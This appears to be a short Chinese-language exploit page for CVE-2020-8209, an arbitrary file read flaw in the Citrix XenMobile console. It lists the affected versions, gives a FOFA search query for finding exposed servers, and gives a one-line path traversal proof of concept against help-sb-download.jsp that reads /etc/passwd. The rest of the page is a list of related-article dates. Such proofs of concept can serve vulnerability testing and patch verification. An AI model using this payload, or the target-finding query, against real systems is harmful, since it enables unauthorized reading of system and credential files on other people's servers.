0x01 影响版本

  RP2之前的XenMobile服务器10.12
  RP4之前的XenMobile服务器10.11
  RP6之前的XenMobile服务器10.10
  10.9 RP5之前的XenMobile服务器

0x02 fofa语法

  app="XenMobile-控制台"

(CVE-2020-8209)XenMobile-控制台存在任意文件读取漏洞
应用截图
(CVE-2020-8209)XenMobile-控制台存在任意文件读取漏洞

0x03 POC

  /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd

(CVE-2020-8209)XenMobile-控制台存在任意文件读取漏洞

相关文章:

  • 2021-12-12
  • 2021-05-06
  • 2021-10-18
  • 2022-12-23
  • 2021-07-14
  • 2021-10-30
  • 2022-12-23
  • 2021-08-23
猜你喜欢
  • 2021-04-11
  • 2021-04-09
  • 2022-01-25
  • 2021-12-06
  • 2022-12-23
  • 2021-08-10
相关资源
相似解决方案